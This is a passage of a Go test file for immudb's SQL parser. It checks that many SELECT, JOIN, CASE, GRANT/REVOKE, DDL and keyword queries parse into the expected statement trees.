"payload", }, right: &Blob{val: bs}, }, }}, expectedError: nil, }, { input: "SELECT table1.id, title FROM table1 AS t1 WHERE id <> 1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{table: "table1", col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, where: &CmpBoolExp{ op: NE, left: &ColSelector{ col: "id", }, right: &Integer{val: 1}, }, }}, expectedError: nil, }, { input: "SELECT table1.id, title FROM table1 AS t1 WHERE id != 1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{table: "table1", col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, where: &CmpBoolExp{ op: NE, left: &ColSelector{ col: "id", }, right: &Integer{val: 1}, }, }}, expectedError: nil, }, { input: "SELECT DISTINCT id, time, name FROM table1 WHERE country = 'US' AND time <= NOW() AND name = @pname", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: true, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "time"}}, {Exp: &ColSelector{col: "name"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ op: And, left: &BinBoolExp{ op: And, left: &CmpBoolExp{ op: EQ, left: &ColSelector{ col: "country", }, right: &Varchar{val: "US"}, }, right: &CmpBoolExp{ op: LE, left: &ColSelector{ col: "time", }, right: &FnCall{fn: "now"}, }, }, right: &CmpBoolExp{ op: EQ, left: &ColSelector{ col: "name", }, right: &Param{id: "pname"}, }, }, }}, expectedError: nil, }, { input: "SELECT id, title, year FROM table1 ORDER BY title ASC, year DESC", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "title"}}, {Exp: &ColSelector{col: "year"}}, }, ds: &tableRef{table: "table1"}, orderBy: []*OrdExp{ {exp: &ColSelector{col: "title"}}, {exp: &ColSelector{col: "year"}, descOrder: true}, }, }}, expectedError: nil, }, { input: "SELECT id, name, table2.status FROM table1 INNER JOIN table2 ON table1.id = table2.id WHERE name = 'John' ORDER BY name DESC", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "name"}}, {Exp: &ColSelector{table: "table2", col: "status"}}, }, ds: &tableRef{table: "table1"}, joins: []*JoinSpec{ { joinType: InnerJoin, ds: &tableRef{table: "table2"}, cond: &CmpBoolExp{ op: EQ, left: &ColSelector{ table: "table1", col: "id", }, right: &ColSelector{ table: "table2", col: "id", }, }, }, }, where: &CmpBoolExp{ op: EQ, left: &ColSelector{col: "name"}, right: &Varchar{val: "John"}, }, orderBy: []*OrdExp{ {exp: &ColSelector{col: "name"}, descOrder: true}, }, }}, expectedError: nil, }, { input: "SELECT id, name, table2.status FROM table1 JOIN table2 ON table1.id = table2.id WHERE name = 'John' ORDER BY name DESC", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "name"}}, {Exp: &ColSelector{table: "table2", col: "status"}}, }, ds: &tableRef{table: "table1"}, joins: []*JoinSpec{ { joinType: InnerJoin, ds: &tableRef{table: "table2"}, cond: &CmpBoolExp{ op: EQ, left: &ColSelector{ table: "table1", col: "id", }, right: &ColSelector{ table: "table2", col: "id", }, }, }, }, where: &CmpBoolExp{ op: EQ, left: &ColSelector{col: "name"}, right: &Varchar{val: "John"}, }, orderBy: []*OrdExp{ {exp: &ColSelector{col: "name"}, descOrder: true}, }, }}, expectedError: nil, }, { input: "SELECT id, name, table2.status FROM table1 LEFT JOIN table2 ON table1.id = table2.id WHERE name = 'John' ORDER BY name DESC", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "name"}}, {Exp: &ColSelector{table: "table2", col: "status"}}, }, ds: &tableRef{table: "table1"}, joins: []*JoinSpec{ { joinType: LeftJoin, ds: &tableRef{table: "table2"}, cond: &CmpBoolExp{ op: EQ, left: &ColSelector{ table: "table1", col: "id", }, right: &ColSelector{ table: "table2", col: "id", }, }, }, }, where: &CmpBoolExp{ op: EQ, left: &ColSelector{col: "name"}, right: &Varchar{val: "John"}, }, orderBy: []*OrdExp{ {exp: &ColSelector{col: "name"}, descOrder: true}, }, }}, expectedError: nil, }, { input: "SELECT id, title FROM (SELECT col1 AS id, col2 AS title FROM table2 LIMIT 100 OFFSET 1) LIMIT 10", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "col1"}, As: "id"}, {Exp: &ColSelector{col: "col2"}, As: "title"}, }, ds: &tableRef{table: "table2"}, limit: &Integer{val: 100}, offset: &Integer{val: 1}, }, limit: &Integer{val: 10}, }}, expectedError: nil, }, { input: "SELECT id, name, time FROM table1 WHERE time >= '20210101 00:00:00.000' AND time < '20210211 00:00:00.000'", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "name"}}, {Exp: &ColSelector{col: "time"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ op: And, left: &CmpBoolExp{ op: GE, left: &ColSelector{ col: "time", }, right: &Varchar{val: "20210101 00:00:00.000"}, }, right: &CmpBoolExp{ op: LT, left: &ColSelector{ col: "time", }, right: &Varchar{val: "20210211 00:00:00.000"}, }, }, }}, expectedError: nil, }, { input: "SELECT json_data->'info'->'address'->'street' FROM table1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ { Exp: &JSONSelector{ ColSelector: &ColSelector{col: "json_data"}, fields: []string{"info", "address", "street"}, }, }, }, ds: &tableRef{table: "table1"}, }}, expectedError: nil, }, { input: "SELECT 1, (balance * balance) + 1, amount % 2, data::JSON FROM table1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ { Exp: &Integer{ val: int64(1), }, }, { Exp: &NumExp{ op: ADDOP, left: &NumExp{ op: MULTOP, left: &ColSelector{col: "balance"}, right: &ColSelector{col: "balance"}, }, right: &Integer{val: int64(1)}, }, }, { Exp: &NumExp{ op: MODOP, left: &ColSelector{col: "amount"}, right: &Integer{val: int64(2)}, }, }, { Exp: &Cast{val: &ColSelector{col: "data"}, t: JSONType}, }, }, ds: &tableRef{table: "table1"}, }}, expectedError: nil, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestSelectUnionStmt(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "SELECT id, title FROM table1 UNION SELECT id, title FROM table1", expectedOutput: []SQLStmt{ &UnionStmt{ distinct: true, left: &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1"}, }, right: &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1"}, }}, }, expectedError: nil, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestAggFnStmt(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "SELECT COUNT(*) FROM table1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &AggColSelector{aggFn: COUNT, col: "*"}}, }, ds: &tableRef{table: "table1"}, }}, expectedError: nil, }, { input: "SELECT country, SUM(amount) FROM table1 GROUP BY country HAVING SUM(amount) > 0", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "country"}}, {Exp: &AggColSelector{aggFn: SUM, col: "amount"}}, }, ds: &tableRef{table: "table1"}, groupBy: []*ColSelector{ {col: "country"}, }, having: &CmpBoolExp{ op: GT, left: &AggColSelector{aggFn: SUM, col: "amount"}, right: &Integer{val: 0}, }, }}, expectedError: nil, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestParseExp(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "SELECT id FROM table1 WHERE id > 0", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &CmpBoolExp{ op: GT, left: &ColSelector{ col: "id", }, right: &Integer{val: 0}, }, }}, expectedError: nil, }, { input: "SELECT id FROM table1 WHERE NOT id > 0 AND id < 10", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ op: And, left: &NotBoolExp{ exp: &CmpBoolExp{ op: GT, left: &ColSelector{ col: "id", }, right: &Integer{val: 0}, }, }, right: &CmpBoolExp{ op: LT, left: &ColSelector{ col: "id", }, right: &Integer{val: 10}, }, }, }}, expectedError: nil, }, { input: "SELECT id FROM table1 WHERE NOT (id > 0 AND id < 10)", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &NotBoolExp{ exp: &BinBoolExp{ op: And, left: &CmpBoolExp{ op: GT, left: &ColSelector{ col: "id", }, right: &Integer{val: 0}, }, right: &CmpBoolExp{ op: LT, left: &ColSelector{ col: "id", }, right: &Integer{val: 10}, }, }, }, }}, expectedError: nil, }, { input: "SELECT id FROM table1 WHERE NOT active OR active", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ op: Or, left: &NotBoolExp{ exp: &ColSelector{col: "active"}, }, right: &ColSelector{col: "active"}, }, }}, expectedError: nil, }, { input: "SELECT id FROM table1 WHERE id > 0 AND NOT (table1.id >= 10)", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ op: And, left: &CmpBoolExp{ op: GT, left: &ColSelector{ col: "id", }, right: &Integer{val: 0}, }, right: &NotBoolExp{ exp: &CmpBoolExp{ op: GE, left: &ColSelector{ table: "table1", col: "id", }, right: &Integer{val: 10}, }, }, }, }}, expectedError: nil, }, { input: "SELECT id FROM table1 WHERE table1.title LIKE 'J%O'", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &LikeBoolExp{ val: &ColSelector{ table: "table1", col: "title", }, pattern: &Varchar{val: "J%O"}, }, }}, expectedError: nil, }, { input: "SELECT id FROM table1 WHERE table1.title LIKE @param1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &LikeBoolExp{ val: &ColSelector{ table: "table1", col: "title", }, pattern: &Param{id: "param1"}, }, }}, expectedError: nil, }, { input: "SELECT id FROM table1 WHERE (id > 0 AND NOT table1.id >= 10) OR table1.title LIKE 'J%O'", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ op: Or, left: &BinBoolExp{ op: And, left: &CmpBoolExp{ op: GT, left: &ColSelector{ col: "id", }, right: &Integer{val: 0}, }, right: &NotBoolExp{ exp: &CmpBoolExp{ op: GE, left: &ColSelector{ table: "table1", col: "id", }, right: &Integer{val: 10}, }, }, }, right: &LikeBoolExp{ val: &ColSelector{ table: "table1", col: "title", }, pattern: &Varchar{val: "J%O"}, }, }, }}, expectedError: nil, }, { input: "SELECT id FROM clients WHERE EXISTS (SELECT id FROM orders WHERE clients.id = orders.id_client)", expectedOutput: []SQLStmt{ &SelectStmt{ targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "clients"}, where: &ExistsBoolExp{ q: &SelectStmt{ targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "orders"}, where: &CmpBoolExp{ op: EQ, left: &ColSelector{ table: "clients", col: "id", }, right: &ColSelector{ table: "orders", col: "id_client", }, }, }, }, }}, expectedError: nil, }, { input: "SELECT id FROM clients WHERE deleted_at IS NULL", expectedOutput: []SQLStmt{ &SelectStmt{ targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "clients"}, where: &CmpBoolExp{ left: &ColSelector{ col: "deleted_at", }, op: EQ, right: &NullValue{ t: AnyType, }, }, }}, expectedError: nil, }, { input: "SELECT id FROM clients WHERE deleted_at IS NOT NULL", expectedOutput: []SQLStmt{ &SelectStmt{ targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, }, ds: &tableRef{table: "clients"}, where: &CmpBoolExp{ left: &ColSelector{ col: "deleted_at", }, op: NE, right: &NullValue{ t: AnyType, }, }, }}, expectedError: nil, }, { input: "SELECT CASE 1 + 1 WHEN 2 THEN 1 ELSE 0 END FROM my_table", expectedOutput: []SQLStmt{ &SelectStmt{ ds: &tableRef{table: "my_table"}, targets: []TargetEntry{ { Exp: &CaseWhenExp{ exp: &NumExp{ op: ADDOP, left: &Integer{1}, right: &Integer{1}, }, whenThen: []whenThenClause{ { when: &Integer{2}, then: &Integer{1}, }, }, elseExp: &Integer{0}, }, }, }, }, }, }, { input: "SELECT CASE WHEN is_deleted OR is_expired THEN 1 END AS is_deleted_or_expired FROM my_table", expectedOutput: []SQLStmt{ &SelectStmt{ ds: &tableRef{table: "my_table"}, targets: []TargetEntry{ { Exp: &CaseWhenExp{ whenThen: []whenThenClause{ { when: &BinBoolExp{ op: Or, left: &ColSelector{col: "is_deleted"}, right: &ColSelector{col: "is_expired"}, }, then: &Integer{1}, }, }, }, As: "is_deleted_or_expired", }, }, }, }, }, { input: "SELECT CASE WHEN is_deleted OR is_expired THEN 1 END AS is_deleted_or_expired FROM my_table", expectedOutput: []SQLStmt{ &SelectStmt{ ds: &tableRef{table: "my_table"}, targets: []TargetEntry{ { Exp: &CaseWhenExp{ whenThen: []whenThenClause{ { when: &BinBoolExp{ op: Or, left: &ColSelector{col: "is_deleted"}, right: &ColSelector{col: "is_expired"}, }, then: &Integer{1}, }, }, }, As: "is_deleted_or_expired", }, }, }, }, }, { input: "SELECT CASE WHEN is_active THEN 1 ELSE 2 END FROM my_table", expectedOutput: []SQLStmt{ &SelectStmt{ ds: &tableRef{table: "my_table"}, targets: []TargetEntry{ { Exp: &CaseWhenExp{ whenThen: []whenThenClause{ { when: &ColSelector{col: "is_active"}, then: &Integer{1}, }, }, elseExp: &Integer{2}, }, }, }, }, }, }, { input: ` SELECT product_name, CASE WHEN stock < 10 THEN 'Low stock' WHEN stock >= 10 AND stock <= 50 THEN 'Medium stock' WHEN stock > 50 THEN 'High stock' ELSE 'Out of stock' END AS stock_status FROM products `, expectedOutput: []SQLStmt{ &SelectStmt{ ds: &tableRef{table: "products"}, targets: []TargetEntry{ { Exp: &ColSelector{col: "product_name"}, }, { Exp: &CaseWhenExp{ whenThen: []whenThenClause{ { when: &CmpBoolExp{op: LT, left: &ColSelector{col: "stock"}, right: &Integer{10}}, then: &Varchar{"Low stock"}, }, { when: &BinBoolExp{ op: And, left: &CmpBoolExp{op: GE, left: &ColSelector{col: "stock"}, right: &Integer{10}}, right: &CmpBoolExp{op: LE, left: &ColSelector{col: "stock"}, right: &Integer{50}}, }, then: &Varchar{"Medium stock"}, }, { when: &CmpBoolExp{op: GT, left: &ColSelector{col: "stock"}, right: &Integer{50}}, then: &Varchar{"High stock"}, }, }, elseExp: &Varchar{"Out of stock"}, }, As: "stock_status", }, }, }, }, }, { input: "SELECT name !~ 'laptop.*' FROM products", expectedOutput: []SQLStmt{ &SelectStmt{ ds: &tableRef{table: "products"}, targets: []TargetEntry{ { Exp: NewLikeBoolExp(NewColSelector("", "name"), true, NewVarchar("laptop.*")), }, }, }, }, }, { input: "SELECT price FROM items WHERE price BETWEEN 1.5 and 3.9", expectedOutput: []SQLStmt{ &SelectStmt{ targets: []TargetEntry{{Exp: &ColSelector{col: "price"}}}, ds: &tableRef{table: "items"}, where: &BinBoolExp{ op: And, left: &CmpBoolExp{op: GE, left: &ColSelector{col: "price"}, right: &Float64{1.5}}, right: &CmpBoolExp{op: LE, left: &ColSelector{col: "price"}, right: &Float64{3.9}}, }, }, }, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestMultiLineStmts(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: ` /* SAMPLE MULTILINE COMMENT IMMUDB SQL SCRIPT */ CREATE DATABASE db1; CREATE TABLE table1 (id INTEGER, name VARCHAR NULL, ts TIMESTAMP NOT NULL, active BOOLEAN, content BLOB, PRIMARY KEY id); BEGIN TRANSACTION; UPSERT INTO table1 (id, label) VALUES (100, 'label1'); UPSERT INTO table2 (id) VALUES (10); COMMIT; SELECT id, name, time FROM table1 WHERE time >= '20210101 00:00:00.000' AND time < '20210211 00:00:00.000'; `, expectedOutput: []SQLStmt{ &CreateDatabaseStmt{DB: "db1"}, &CreateTableStmt{ table: "table1", colsSpec: []*ColSpec{ {colName: "id", colType: IntegerType}, {colName: "name", colType: VarcharType}, {colName: "ts", colType: TimestampType, notNull: true}, {colName: "active", colType: BooleanType}, {colName: "content", colType: BLOBType}, }, pkColNames: []string{"id"}, }, &BeginTransactionStmt{}, &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, }, }, }, &UpsertIntoStmt{ tableRef: &tableRef{table: "table2"}, cols: []string{"id"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{&Integer{val: 10}}}, }, }, }, &CommitStmt{}, &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "name"}}, {Exp: &ColSelector{col: "time"}}, }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ op: And, left: &CmpBoolExp{ op: GE, left: &ColSelector{ col: "time", }, right: &Varchar{val: "20210101 00:00:00.000"}, }, right: &CmpBoolExp{ op: LT, left: &ColSelector{ col: "time", }, right: &Varchar{val: "20210211 00:00:00.000"}, }, }, }, }, expectedError: nil, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestFloatCornerCases(t *testing.T) { for _, d := range []struct { s string invalid bool v ValueExp }{ {"1", false, &Integer{val: 1}}, {"1.", false, &Float64{val: 1}}, {"1.1", false, &Float64{val: 1.1}}, {"123.123ab1", true, nil}, {"1aa23.1234", true, nil}, {"123..1234", true, nil}, {"123" + strings.Repeat("1", 10000) + ".123", true, nil}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { stmt, err := ParseSQLString("INSERT INTO t1(v) VALUES(" + d.s + ")") if d.invalid { require.Error(t, err) require.Contains(t, err.Error(), "syntax error") } else { require.NoError(t, err) require.Equal(t, []SQLStmt{ &UpsertIntoStmt{ isInsert: true, tableRef: &tableRef{ table: "t1", }, cols: []string{"v"}, ds: &valuesDataSource{ rows: []*RowSpec{{ Values: []ValueExp{d.v}, }}, }, }, }, stmt) } }) } } func TestGrantRevokeStmt(t *testing.T) { type test struct { text string expectedStmt SQLStmt } cases := []test{ { text: "GRANT SELECT, INSERT, UPDATE, DELETE ON DATABASE defaultdb TO USER immudb", expectedStmt: &AlterPrivilegesStmt{ database: "defaultdb", user: "immudb", privileges: []SQLPrivilege{ SQLPrivilegeDelete, SQLPrivilegeUpdate, SQLPrivilegeInsert, SQLPrivilegeSelect, }, isGrant: true, }, }, { text: "REVOKE SELECT, INSERT, UPDATE, DELETE ON DATABASE defaultdb TO USER immudb", expectedStmt: &AlterPrivilegesStmt{ database: "defaultdb", user: "immudb", privileges: []SQLPrivilege{ SQLPrivilegeDelete, SQLPrivilegeUpdate, SQLPrivilegeInsert, SQLPrivilegeSelect, }, }, }, { text: "GRANT ALL PRIVILEGES ON DATABASE defaultdb TO USER immudb", expectedStmt: &AlterPrivilegesStmt{ database: "defaultdb", user: "immudb", privileges: allPrivileges, isGrant: true, }, }, { text: "REVOKE ALL PRIVILEGES ON DATABASE defaultdb TO USER immudb", expectedStmt: &AlterPrivilegesStmt{ database: "defaultdb", user: "immudb", privileges: allPrivileges, }, }, } for i, tc := range cases { t.Run(fmt.Sprintf("alter_privileges_%d", i), func(t *testing.T) { stmts, err := ParseSQLString(tc.text) require.NoError(t, err) require.Len(t, stmts, 1) require.Equal(t, tc.expectedStmt, stmts[0]) }) } } func TestExpString(t *testing.T) { exps := []string{ "(1 + 1) / (2 * 5 - 10) % 2", "@param LIKE 'pattern'", "((col1 AND (col2 < 10)) OR (@param = 3 AND (col4 = TRUE))) AND NOT (col5 = 'value' OR (2 + 2 != 4))", "CAST (func_call(1, 'two', 2.5) AS TIMESTAMP)", "col IN (TRUE, 1, 'test', 1.5)", "CASE WHEN in_stock THEN 'In Stock' END", "CASE WHEN 1 > 0 THEN 1 ELSE 0 END", "CASE WHEN is_active THEN 'active' WHEN is_expired THEN 'expired' ELSE 'active' END", "'text' LIKE 'pattern'", "'text' NOT LIKE 'pattern'", "EXTRACT(YEAR FROM ts)", "EXTRACT(MONTH FROM ts)", "EXTRACT(DAY FROM ts)", "EXTRACT(HOUR FROM ts)", "EXTRACT(MINUTE FROM ts)", "EXTRACT(SECOND FROM ts)", } for i, e := range exps { t.Run(fmt.Sprintf("test_expression_%d", i+1), func(t *testing.T) { exp, err := ParseExpFromString(e) require.NoError(t, err) parsedExp, err := ParseExpFromString(exp.String()) require.NoError(t, err) require.Equal(t, exp, parsedExp) }) } } func TestLogicOperatorPrecedence(t *testing.T) { type testCase struct { input string expected string } testCases := []testCase{ // simple precedence {input: "NOT true", expected: "(NOT true)"}, {input: "true AND false OR true", expected: "((true AND false) OR true)"}, {input: "NOT true AND false", expected: "((NOT true) AND false)"}, {input: "NOT true OR false", expected: "((NOT true) OR false)"}, // parentheses override precedence {input: "(true OR false) AND true", expected: "((true OR false) AND true)"}, // multiple NOTs {input: "NOT NOT true AND false", expected: "((NOT (NOT true)) AND false)"}, // complex nesting {input: "true AND (false OR (NOT false))", expected: "(true AND (false OR (NOT false)))"}, {input: "NOT (true AND false) OR true", expected: "((NOT (true AND false)) OR true)"}, // AND/OR with nested groups {input: "(true AND false) AND (true OR false)", expected: "((true AND false) AND (true OR false))"}, {input: "(true OR false) OR (NOT (true AND false))", expected: "((true OR false) OR (NOT (true AND false)))"}, // deep nesting {input: "(true AND (false OR (NOT true))) OR (NOT false)", expected: "((true AND (false OR (NOT true))) OR (NOT false))"}, // chain of operators {input: "true AND false OR true AND NOT false OR true", expected: "(((true AND false) OR (true AND (NOT false))) OR true)"}, } for _, tc := range testCases { t.Run(tc.input, func(t *testing.T) { e, err := ParseExpFromString(tc.input) require.NoError(t, err) require.Equal(t, tc.expected, e.String()) }) } } func TestParseUnreservedKeywords(t *testing.T) { type testCase struct { input string expectedOutput []SQLStmt } unreservedKeywords := []string{ "admin", "of", "drop", "database", "snapshot", "index", "alter", "add", "rename", "constraint", "key", "grant", "revoke", "privileges", "begin", "transaction", "commit", "rollback", "insert", "delete", "update", "conflict", "if", "show", "tables", "year", "month", "day", "hour", "minute", "second", "users", } colNameKeywords := []string{ "between", "blob", "boolean", "exists", "extract", "float", "integer", "json", "timestamp", "values", "varchar", } getTableCases := func(kw string) []testCase { return []testCase{ { input: fmt.Sprintf("CREATE TABLE %s (id INTEGER PRIMARY KEY);", kw), expectedOutput: []SQLStmt{ &CreateTableStmt{ table: kw, ifNotExists: false, colsSpec: []*ColSpec{ { colName: "id", colType: IntegerType, notNull: true, primaryKey: true, }, }, }, }, }, { input: fmt.Sprintf("DROP TABLE %s;", kw), expectedOutput: []SQLStmt{ &DropTableStmt{ table: kw, }, }, }, { input: fmt.Sprintf("CREATE INDEX ON %s (id)", kw), expectedOutput: []SQLStmt{ &CreateIndexStmt{ table: kw, cols: []string{"id"}, }, }, }, { input: fmt.Sprintf("CREATE UNIQUE INDEX ON %s (id)", kw), expectedOutput: []SQLStmt{ &CreateIndexStmt{ table: kw, unique: true, cols: []string{"id"}, }, }, }, { input: "DROP INDEX " + kw + "." + "id", expectedOutput: []SQLStmt{ &DropIndexStmt{ table: kw, cols: []string{"id"}, }, }, }, { input: "ALTER TABLE " + kw + " ADD COLUMN id INTEGER NULL", expectedOutput: []SQLStmt{ &AddColumnStmt{ table: kw, colSpec: &ColSpec{ colName: "id", colType: IntegerType, }, }, }, }, { input: fmt.Sprintf("ALTER TABLE %s RENAME TO %s", kw, kw), expectedOutput: []SQLStmt{ &RenameTableStmt{ oldName: kw, newName: kw, }, }, }, { input: fmt.Sprintf("ALTER TABLE %s RENAME COLUMN timestamp TO ts", kw), expectedOutput: []SQLStmt{ &RenameColumnStmt{ table: kw, oldName: "timestamp", newName: "ts", }, }, }, { input: fmt.Sprintf("ALTER TABLE %s DROP COLUMN timestamp", kw), expectedOutput: []SQLStmt{ &DropColumnStmt{ table: kw, colName: "timestamp", }, }, }, { input: fmt.Sprintf("ALTER TABLE %s DROP CONSTRAINT pk_constraint", kw), expectedOutput: []SQLStmt{ &DropConstraintStmt{ table: kw, constraintName: "pk_constraint", }, }, }, } } for _, kw := range unreservedKeywords { tableCases := getTableCases(kw) for _, tc := range tableCases { stmt, err := ParseSQLString(tc.input) require.NoError(t, err) require.Equal(t, tc.expectedOutput, stmt) } } for _, kw := range colNameKeywords { tableCases := getTableCases(kw) for _, tc := range tableCases { _, err := ParseSQLString(tc.input) require.Error(t, err) } } allColNameKeywords := append(unreservedKeywords, colNameKeywords...) colCases := []testCase{} for _, kw := range allColNameKeywords { colCases = append(colCases, []testCase{ { input: fmt.Sprintf("CREATE INDEX ON users (%s)", kw), expectedOutput: []SQLStmt{ &CreateIndexStmt{ table: "users", cols: []string{kw}, }, }, }, { input: fmt.Sprintf("CREATE UNIQUE INDEX ON users (%s, %s)", kw, kw), expectedOutput: []SQLStmt{ &CreateIndexStmt{ unique: true, table: "users", cols: []string{kw, kw}, }, }, }, { input: fmt.Sprintf("DROP INDEX ON users (%s, %s)", kw, kw), expectedOutput: []SQLStmt{ &DropIndexStmt{ table: "users", cols: []string{kw, kw}, }, }, }, { input: "DROP INDEX users." + kw, expectedOutput: []SQLStmt{ &DropIndexStmt{ table: "users", cols: []string{kw}, }, }, }, { input: fmt.Sprintf("ALTER TABLE users RENAME COLUMN %s TO %s", kw, kw), expectedOutput: []SQLStmt{ &RenameColumnStmt{ table: "users", oldName: kw, newName: kw, }, }, }, { input: "ALTER TABLE users DROP COLUMN " + kw, expectedOutput: []SQLStmt{ &DropColumnStmt{ table: "users", colName: kw, }, }, }, { input: fmt.Sprintf("CREATE TABLE users (%s INTEGER)", kw), expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "users", colsSpec: []*ColSpec{ { colName: kw, colType: IntegerType, }, }, }, }, }, { input: fmt.Sprintf("INSERT INTO users (%s) VALUES ('')", kw), expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "users"}, cols: []string{kw}, isInsert: true, ds: &valuesDataSource{ rows: []*RowSpec{{Values: []ValueExp{NewVarchar("")}}}, }, }, }, }, { input: fmt.Sprintf("UPSERT INTO users (%s) VALUES ('')", kw), expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "users"}, cols: []string{kw}, ds: &valuesDataSource{ rows: []*RowSpec{{Values: []ValueExp{NewVarchar("")}}}, }, }, }, }, }..., ) } for _, tc := range colCases { stmt, err := ParseSQLString(tc.input) require.NoError(t, err) require.Equal(t, tc.expectedOutput, stmt) } } ================================================ FILE: embedded/sql/proj_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR 